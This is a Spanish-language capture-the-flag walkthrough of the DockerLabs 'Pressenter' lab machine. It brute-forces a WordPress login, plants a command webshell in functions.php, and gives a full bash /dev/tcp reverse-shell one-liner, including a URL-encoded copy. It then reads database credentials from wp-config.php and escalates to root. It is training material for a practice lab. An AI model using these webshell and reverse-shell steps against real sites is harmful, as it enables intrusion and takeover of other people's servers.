DockerLabs Pressenter

DockerLabs Pressenter

Esta es una máquina de DockerLabs de nivel fácil

·

4 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizamos el escaneo de la dirección IP y podemos observar que tenemos solo el puerto 80.

Nos dirigimos a la dirección IP desde el navegador y podemos observar que tenemos lo siguiente.

Revisando el código tenemos un nombre de dominio.

Luego de agregar el dominio en el archivo /etc/hosts podemos observar la siguiente página que está en WordPress.

Revisando en la página obtenemos un nombre de usuario pressi.

Escaneamos la dirección y podemos observar 3 directorios.

Probamos ingresando a wp-admin y luego una credencial por default y podemos observar que no nos indica una x cantidad de intentos así que podemos probar realizar un ataque de fuerza bruta.

Probamos usando wpscan.

Luego de unos segundos observamos el password.

pressi:dumbass

Ingresamos las credenciales en el panel de login y ya estamos dentro.

Vamos a plugins y agregamos el siguiente sin antes activarlo luego de instalarlo.

Cuando lo tengamos activado observaremos una carpeta y nos dirigimos a twentytwentytwo luego seleccionamos function.php y como se observa en la imagen code editor.

Agregamos el siguiente comando y guardamos.

Ahora para acceder a esta webshell usamos la siguiente dirección que contiene la ubicación del archivo y si agregamos el parámetro podemos ver que se ejecuta el comando id

http://pressenter.hl/wp-content/themes/twentytwentytwo/functions.php?cmd=id

Ya que podemos ejecutar comandos estableceremos una shell. Para ello iniciaremos nuestro listener con nc.

Para nuestra consulta debemos tener la bash.

bash -c \ "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1\ "'

Para evitar problemas con el símbolo lo url-encodeamos.

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Y enviamos, el URL debería verse así.

http://pressenter.hl/wp-content/themes/twentytwentytwo/functions.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F1234%200%3E%261%22

Al momento de enviar en nuestro listener ya deberíamos poder ver que se estableció conexión.

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Vamos a la carpeta raíz e ingresamos un sudo -l para ver si podemos escalar, pero no tenemos el password.

Vamos a la carpeta home, pero no podemos acceder a la carpeta del usuario.

Vamos a la carpeta de la página y podemos observar que en wp-config.php tenemos un password y un user.

Nos conectamos al servicio y podemos observar que podemos acceder.

Listamos la tabla de usuarios y podemos ver que tenemos dos usuarios de los cuales ya sabemos el de pressi y el otro usuario no existe.

Ingresamos las credenciales y son correctas.

Realizamos un sudo -l y podemos observar que podemos ejecutar los comandos cat y whoami con todos los permisos.

Revisamos el archivo sudoers y podemos observar lo siguiente.

Nos indican un admin del cual tenemos el password y podemos probar como root, pero no es de este. Ya que no podemos elevar privilegios de otra manera intentamos probando con las otras passwords que encontramos y simplemente era el password de enter.